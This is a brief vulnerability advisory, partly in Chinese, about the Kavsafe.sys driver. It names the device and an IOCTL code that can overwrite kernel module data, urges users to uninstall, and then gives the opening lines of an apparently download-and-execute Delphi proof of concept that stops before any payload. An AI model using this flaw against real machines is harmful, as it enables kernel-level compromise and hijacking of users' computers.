Kavsafe.sys create a device called DeviceKAVSafe , and handles DeviceIoControl request IoControlCode = 0x830020d4 , which can overwrite arbitrary kernel module data. 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户如果不想自己的机器沦落为肉鸡的话,立即卸载该软件!
program Main;
uses
Windows,
Urlmon;
procedure DownExeTest();
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, 'TestD');
if MutexHandle <> 0 then
begin